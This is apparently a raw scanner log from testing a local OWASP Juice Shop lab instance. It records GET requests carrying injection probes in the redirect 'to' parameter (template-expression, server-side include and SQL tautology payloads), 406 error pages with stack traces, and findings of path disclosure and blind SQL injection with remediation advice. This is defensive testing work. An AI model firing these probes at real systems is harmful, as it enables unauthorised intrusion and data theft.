AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA</h2>\n <ul id="stacktrace"><li> at /home/kali/Scanners/juice-shop/build/routes/redirect.js:21:18</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/route.js:144:13)</li><li> at Route.dispatch (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/route.js:114:3)</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:284:15</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at /home/kali/Scanners/juice-shop/build/routes/verify.js:168:5</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at trim_prefix (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:328:13)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:286:9</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at /home/kali/Scanners/juice-shop/build/routes/verify.js:105:5</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at trim_prefix (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:328:13)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:286:9</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at logger (/home/kali/Scanners/juice-shop/node_modules/morgan/index.js:144:5)</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li></ul>\n </div>\n </body>\n</html>\n'
GET http://localhost:3000/redirect?to=%24%7B62757%20%2A%2011968%7D HTTP/1.1 User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Host: localhost:3000 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-language: en-US,en;q=0.5 Referer: http://localhost:3000/ Connection: keep-alive Cookie: language=en; welcomebanner_status=dismiss Upgrade-insecure-requests: 1 Accept-encoding: gzip, deflate
b"HTTP/1.1 406 Not Acceptable\r\nAccess-Control-Allow-Origin: *\r\nX-Content-Type-Options: nosniff\r\nX-Frame-Options: SAMEORIGIN\r\nFeature-Policy: payment 'self'\r\nX-Recruiting: /#/jobs\r\nContent-Type: text/html; charset=utf-8\r\nVary: Accept-Encoding\r\nContent-Encoding: gzip\r\nDate: Tue, 05 Mar 2024 23:56:41 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\nTransfer-Encoding: chunked\r\n"
b'<html>\n <head>\n <meta charset=\'utf-8\'> \n <title>Error: Unrecognized target URL for redirect: ${62757 * 11968}</title>\n <style>* {\n margin: 0;\n padding: 0;\n outline: 0;\n}\n\nbody {\n padding: 80px 100px;\n font: 13px "Helvetica Neue", "Lucida Grande", "Arial";\n background: #ECE9E9 -webkit-gradient(linear, 0% 0%, 0% 100%, from(#fff), to(#ECE9E9));\n background: #ECE9E9 -moz-linear-gradient(top, #fff, #ECE9E9);\n background-repeat: no-repeat;\n color: #555;\n -webkit-font-smoothing: antialiased;\n}\nh1, h2 {\n font-size: 22px;\n color: #343434;\n}\nh1 em, h2 em {\n padding: 0 5px;\n font-weight: normal;\n}\nh1 {\n font-size: 60px;\n}\nh2 {\n margin-top: 10px;\n}\nul li {\n list-style: none;\n}\n#stacktrace {\n margin-left: 60px;\n}\n</style>\n </head>\n <body>\n <div id="wrapper">\n <h1>OWASP Juice Shop (Express ^4.17.1)</h1>\n <h2><em>406</em> Error: Unrecognized target URL for redirect: ${62757 * 11968}</h2>\n <ul id="stacktrace"><li> at /home/kali/Scanners/juice-shop/build/routes/redirect.js:21:18</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/route.js:144:13)</li><li> at Route.dispatch (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/route.js:114:3)</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:284:15</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at /home/kali/Scanners/juice-shop/build/routes/verify.js:168:5</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at trim_prefix (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:328:13)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:286:9</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at /home/kali/Scanners/juice-shop/build/routes/verify.js:105:5</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at trim_prefix (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:328:13)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:286:9</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at logger (/home/kali/Scanners/juice-shop/node_modules/morgan/index.js:144:5)</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li></ul>\n </div>\n </body>\n</html>\n'
GET http://localhost:3000/redirect?to=%3C%21--%23set%20var%3D%22SEED_A%22%20value%3D%2222113%22%20--%3E%3C%21--%23echo%20var%3D%22SEED_A%22%20--%3E%3C%21--%23set%20var%3D%22SEED_B%22%20value%3D%2297848%22%20--%3E%3C%21--%23echo%20var%3D%22SEED_B%22%20--%3E HTTP/1.1 User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Host: localhost:3000 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-language: en-US,en;q=0.5 Referer: http://localhost:3000/ Connection: keep-alive Cookie: language=en; welcomebanner_status=dismiss Upgrade-insecure-requests: 1 Accept-encoding: gzip, deflate
b"HTTP/1.1 406 Not Acceptable\r\nAccess-Control-Allow-Origin: *\r\nX-Content-Type-Options: nosniff\r\nX-Frame-Options: SAMEORIGIN\r\nFeature-Policy: payment 'self'\r\nX-Recruiting: /#/jobs\r\nContent-Type: text/html; charset=utf-8\r\nVary: Accept-Encoding\r\nContent-Encoding: gzip\r\nDate: Tue, 05 Mar 2024 23:56:41 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\nTransfer-Encoding: chunked\r\n"
b'<html>\n <head>\n <meta charset=\'utf-8\'> \n <title>Error: Unrecognized target URL for redirect: <!--#set var="SEED_A" value="22113" --><!--#echo var="SEED_A" --><!--#set var="SEED_B" value="97848" --><!--#echo var="SEED_B" --></title>\n <style>* {\n margin: 0;\n padding: 0;\n outline: 0;\n}\n\nbody {\n padding: 80px 100px;\n font: 13px "Helvetica Neue", "Lucida Grande", "Arial";\n background: #ECE9E9 -webkit-gradient(linear, 0% 0%, 0% 100%, from(#fff), to(#ECE9E9));\n background: #ECE9E9 -moz-linear-gradient(top, #fff, #ECE9E9);\n background-repeat: no-repeat;\n color: #555;\n -webkit-font-smoothing: antialiased;\n}\nh1, h2 {\n font-size: 22px;\n color: #343434;\n}\nh1 em, h2 em {\n padding: 0 5px;\n font-weight: normal;\n}\nh1 {\n font-size: 60px;\n}\nh2 {\n margin-top: 10px;\n}\nul li {\n list-style: none;\n}\n#stacktrace {\n margin-left: 60px;\n}\n</style>\n </head>\n <body>\n <div id="wrapper">\n <h1>OWASP Juice Shop (Express ^4.17.1)</h1>\n <h2><em>406</em> Error: Unrecognized target URL for redirect: <!--#set var="SEED_A" value="22113" --><!--#echo var="SEED_A" --><!--#set var="SEED_B" value="97848" --><!--#echo var="SEED_B" --></h2>\n <ul id="stacktrace"><li> at /home/kali/Scanners/juice-shop/build/routes/redirect.js:21:18</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/route.js:144:13)</li><li> at Route.dispatch (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/route.js:114:3)</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:284:15</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at /home/kali/Scanners/juice-shop/build/routes/verify.js:168:5</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at trim_prefix (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:328:13)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:286:9</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at /home/kali/Scanners/juice-shop/build/routes/verify.js:105:5</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at trim_prefix (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:328:13)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:286:9</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at logger (/home/kali/Scanners/juice-shop/node_modules/morgan/index.js:144:5)</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li></ul>\n </div>\n </body>\n</html>\n'
The URL: "http://localhost:3000/redirect" has a path disclosure vulnerability which discloses "/home/kali/Scanners/juice-shop/build/routes/redirect.js". This vulnerability was found in the request with id 66032.
GET http://localhost:3000/redirect?to=yyp4n%3Cyyp4nyyp4n--%3Eyyp4nyyp4n%2A%2Fyyp4nyyp4n%2A%2F%3A%28%22%27yyp4nyyp4n%3Ayyp4nyyp4n%0Ayyp4nyyp4n%22yyp4nyyp4n%27yyp4nyyp4n%60yyp4nyyp4n%20%3Dyyp4n HTTP/1.1 User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Host: localhost:3000 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-language: en-US,en;q=0.5 Referer: http://localhost:3000/ Connection: keep-alive Cookie: language=en; welcomebanner_status=dismiss Upgrade-insecure-requests: 1 Accept-encoding: gzip, deflate
b"HTTP/1.1 406 Not Acceptable\r\nAccess-Control-Allow-Origin: *\r\nX-Content-Type-Options: nosniff\r\nX-Frame-Options: SAMEORIGIN\r\nFeature-Policy: payment 'self'\r\nX-Recruiting: /#/jobs\r\nContent-Type: text/html; charset=utf-8\r\nVary: Accept-Encoding\r\nContent-Encoding: gzip\r\nDate: Tue, 05 Mar 2024 23:56:41 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\nTransfer-Encoding: chunked\r\n"
b'<html>\n <head>\n <meta charset=\'utf-8\'> \n <title>Error: Unrecognized target URL for redirect: yyp4n<yyp4nyyp4n-->yyp4nyyp4n*/yyp4nyyp4n*/:("'yyp4nyyp4n:yyp4nyyp4n</title>\n <style>* {\n margin: 0;\n padding: 0;\n outline: 0;\n}\n\nbody {\n padding: 80px 100px;\n font: 13px "Helvetica Neue", "Lucida Grande", "Arial";\n background: #ECE9E9 -webkit-gradient(linear, 0% 0%, 0% 100%, from(#fff), to(#ECE9E9));\n background: #ECE9E9 -moz-linear-gradient(top, #fff, #ECE9E9);\n background-repeat: no-repeat;\n color: #555;\n -webkit-font-smoothing: antialiased;\n}\nh1, h2 {\n font-size: 22px;\n color: #343434;\n}\nh1 em, h2 em {\n padding: 0 5px;\n font-weight: normal;\n}\nh1 {\n font-size: 60px;\n}\nh2 {\n margin-top: 10px;\n}\nul li {\n list-style: none;\n}\n#stacktrace {\n margin-left: 60px;\n}\n</style>\n </head>\n <body>\n <div id="wrapper">\n <h1>OWASP Juice Shop (Express ^4.17.1)</h1>\n <h2><em>406</em> Error: Unrecognized target URL for redirect: yyp4n<yyp4nyyp4n-->yyp4nyyp4n*/yyp4nyyp4n*/:("'yyp4nyyp4n:yyp4nyyp4n</h2>\n <ul id="stacktrace"><li>yyp4nyyp4n"yyp4nyyp4n'yyp4nyyp4n`yyp4nyyp4n =yyp4n</li><li> at /home/kali/Scanners/juice-shop/build/routes/redirect.js:21:18</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/route.js:144:13)</li><li> at Route.dispatch (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/route.js:114:3)</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:284:15</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at /home/kali/Scanners/juice-shop/build/routes/verify.js:168:5</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at trim_prefix (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:328:13)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:286:9</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at /home/kali/Scanners/juice-shop/build/routes/verify.js:105:5</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at trim_prefix (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:328:13)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:286:9</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at logger (/home/kali/Scanners/juice-shop/node_modules/morgan/index.js:144:5)</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li></ul>\n </div>\n </body>\n</html>\n'
The URL: "http://localhost:3000/redirect" has a path disclosure vulnerability which discloses "/home/kali/Scanners/juice-shop/build/routes/redirect.js". This vulnerability was found in the request with id 66039.
GET http://localhost:3000/redirect?to=%24%7B62757%20%2A%2011968%7D HTTP/1.1 User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Host: localhost:3000 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-language: en-US,en;q=0.5 Referer: http://localhost:3000/ Connection: keep-alive Cookie: language=en; welcomebanner_status=dismiss Upgrade-insecure-requests: 1 Accept-encoding: gzip, deflate
b"HTTP/1.1 406 Not Acceptable\r\nAccess-Control-Allow-Origin: *\r\nX-Content-Type-Options: nosniff\r\nX-Frame-Options: SAMEORIGIN\r\nFeature-Policy: payment 'self'\r\nX-Recruiting: /#/jobs\r\nContent-Type: text/html; charset=utf-8\r\nVary: Accept-Encoding\r\nContent-Encoding: gzip\r\nDate: Tue, 05 Mar 2024 23:56:41 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\nTransfer-Encoding: chunked\r\n"
b'<html>\n <head>\n <meta charset=\'utf-8\'> \n <title>Error: Unrecognized target URL for redirect: ${62757 * 11968}</title>\n <style>* {\n margin: 0;\n padding: 0;\n outline: 0;\n}\n\nbody {\n padding: 80px 100px;\n font: 13px "Helvetica Neue", "Lucida Grande", "Arial";\n background: #ECE9E9 -webkit-gradient(linear, 0% 0%, 0% 100%, from(#fff), to(#ECE9E9));\n background: #ECE9E9 -moz-linear-gradient(top, #fff, #ECE9E9);\n background-repeat: no-repeat;\n color: #555;\n -webkit-font-smoothing: antialiased;\n}\nh1, h2 {\n font-size: 22px;\n color: #343434;\n}\nh1 em, h2 em {\n padding: 0 5px;\n font-weight: normal;\n}\nh1 {\n font-size: 60px;\n}\nh2 {\n margin-top: 10px;\n}\nul li {\n list-style: none;\n}\n#stacktrace {\n margin-left: 60px;\n}\n</style>\n </head>\n <body>\n <div id="wrapper">\n <h1>OWASP Juice Shop (Express ^4.17.1)</h1>\n <h2><em>406</em> Error: Unrecognized target URL for redirect: ${62757 * 11968}</h2>\n <ul id="stacktrace"><li> at /home/kali/Scanners/juice-shop/build/routes/redirect.js:21:18</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/route.js:144:13)</li><li> at Route.dispatch (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/route.js:114:3)</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:284:15</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at /home/kali/Scanners/juice-shop/build/routes/verify.js:168:5</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at trim_prefix (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:328:13)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:286:9</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at /home/kali/Scanners/juice-shop/build/routes/verify.js:105:5</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at trim_prefix (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:328:13)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:286:9</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at logger (/home/kali/Scanners/juice-shop/node_modules/morgan/index.js:144:5)</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li></ul>\n </div>\n </body>\n</html>\n'
Blind SQL injection was found at: "b'http://localhost:3000/redirect'", using HTTP method b'GET'. The injectable parameter is: "b'to'". This vulnerability was found in the requests with ids 66328 and 66347.
Due to the requirement for dynamic content of today's web applications, many rely on a database backend to store data that will be called upon and processed by the web application (or other programs). Web applications retrieve data from the database by using Structured Query Language (SQL) queries.
To meet demands of many developers, database servers (such as MSSQL, MySQL, Oracle etc.) have additional built-in functionality that can allow extensive control of the database and interaction with the host operating system itself. An SQL injection occurs when a value originating from the client's request is used within a SQL query without prior sanitisation. This could allow cyber-criminals to execute arbitrary SQL code and steal data or use the additional functionality of the database server to take control of more server components.
The successful exploitation of a SQL injection can be devastating to an organisation and is one of the most commonly exploited web application vulnerabilities.
Injection was detected as it was possible to inject specific SQL queries, that if vulnerable, result in the responses for each injection being different. This is known as a blind SQL injection vulnerability.
toThe only proven method to prevent against SQL injection attacks while still maintaining full application functionality is to use parameterized queries (also known as prepared statements). When utilising this method of querying the database, any value supplied by the client will be handled as a string value rather than part of the SQL query.
Additionally, when utilising parameterized queries, the database engine will automatically check to make sure the string being used matches that of the column. For example, the database engine will check that the user supplied input is an integer if the database column is configured to contain integers.
GET http://localhost:3000/redirect?to=a%27b%22c%27d%22 HTTP/1.1 User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Host: localhost:3000 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-language: en-US,en;q=0.5 Referer: http://localhost:3000/ Connection: keep-alive Cookie: language=en; welcomebanner_status=dismiss Upgrade-insecure-requests: 1 Accept-encoding: gzip, deflate
b"HTTP/1.1 406 Not Acceptable\r\nAccess-Control-Allow-Origin: *\r\nX-Content-Type-Options: nosniff\r\nX-Frame-Options: SAMEORIGIN\r\nFeature-Policy: payment 'self'\r\nX-Recruiting: /#/jobs\r\nContent-Type: text/html; charset=utf-8\r\nVary: Accept-Encoding\r\nContent-Encoding: gzip\r\nDate: Tue, 05 Mar 2024 23:56:52 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\nTransfer-Encoding: chunked\r\n"
b'<html>\n <head>\n <meta charset=\'utf-8\'> \n <title>Error: Unrecognized target URL for redirect: 74' OR '74'='74' OR '74'='74</title>\n <style>* {\n margin: 0;\n padding: 0;\n outline: 0;\n}\n\nbody {\n padding: 80px 100px;\n font: 13px "Helvetica Neue", "Lucida Grande", "Arial";\n background: #ECE9E9 -webkit-gradient(linear, 0% 0%, 0% 100%, from(#fff), to(#ECE9E9));\n background: #ECE9E9 -moz-linear-gradient(top, #fff, #ECE9E9);\n background-repeat: no-repeat;\n color: #555;\n -webkit-font-smoothing: antialiased;\n}\nh1, h2 {\n font-size: 22px;\n color: #343434;\n}\nh1 em, h2 em {\n padding: 0 5px;\n font-weight: normal;\n}\nh1 {\n font-size: 60px;\n}\nh2 {\n margin-top: 10px;\n}\nul li {\n list-style: none;\n}\n#stacktrace {\n margin-left: 60px;\n}\n</style>\n </head>\n <body>\n <div id="wrapper">\n <h1>OWASP Juice Shop (Express ^4.17.1)</h1>\n <h2><em>406</em> Error: Unrecognized target URL for redirect: 74' OR '74'='74' OR '74'='74</h2>\n <ul id="stacktrace"><li> at /home/kali/Scanners/juice-shop/build/routes/redirect.js:21:18</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/route.js:144:13)</li><li> at Route.dispatch (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/route.js:114:3)</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:284:15</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at /home/kali/Scanners/juice-shop/build/routes/verify.js:168:5</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at trim_prefix (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:328:13)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:286:9</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at /home/kali/Scanners/juice-shop/build/routes/verify.js:105:5</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at trim_prefix (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:328:13)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:286:9</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at logger (/home/kali/Scanners/juice-shop/node_modules/morgan/index.js:144:5)</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li></ul>\n </div>\n </body>\n</html>\n'
GET http://localhost:3000/redirect?to=a%27b%22c%27d%22 HTTP/1.1 User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Host: localhost:3000 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-language: en-US,en;q=0.5 Referer: http://localhost:3000/ Connection: keep-alive Cookie: language=en; welcomebanner_status=dismiss Upgrade-insecure-requests: 1 Accept-encoding: gzip, deflate
b"HTTP/1.1 406 Not Acceptable\r\nAccess-Control-Allow-Origin: *\r\nX-Content-Type-Options: nosniff\r\nX-Frame-Options: SAMEORIGIN\r\nFeature-Policy: payment 'self'\r\nX-Recruiting: /#/jobs\r\nContent-Type: text/html; charset=utf-8\r\nVary: Accept-Encoding\r\nContent-Encoding: gzip\r\nDate: Tue, 05 Mar 2024 23:56:52 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\nTransfer-Encoding: chunked\r\n"
b'<html>\n <head>\n <meta charset=\'utf-8\'> \n <title>Error: Unrecognized target URL for redirect: 74' AND '74'='75</title>\n <style>* {\n margin: 0;\n padding: 0;\n outline: 0;\n}\n\nbody {\n padding: 80px 100px;\n font: 13px "Helvetica Neue", "Lucida Grande", "Arial";\n background: #ECE9E9 -webkit-gradient(linear, 0% 0%, 0% 100%, from(#fff), to(#ECE9E9));\n background: #ECE9E9 -moz-linear-gradient(top, #fff, #ECE9E9);\n background-repeat: no-repeat;\n color: #555;\n -webkit-font-smoothing: antialiased;\n}\nh1, h2 {\n font-size: 22px;\n color: #343434;\n}\nh1 em, h2 em {\n padding: 0 5px;\n font-weight: normal;\n}\nh1 {\n font-size: 60px;\n}\nh2 {\n margin-top: 10px;\n}\nul li {\n list-style: none;\n}\n#stacktrace {\n margin-left: 60px;\n}\n</style>\n </head>\n <body>\n <div id="wrapper">\n <h1>OWASP Juice Shop (Express ^4.17.1)</h1>\n <h2><em>406</em> Error: Unrecognized target URL for redirect: 74' AND '74'='75</h2>\n <ul id="stacktrace"><li> at /home/kali/Scanners/juice-shop/build/routes/redirect.js:21:18</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/route.js:144:13)</li><li> at Route.dispatch (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/route.js:114:3)</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:284:15</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next 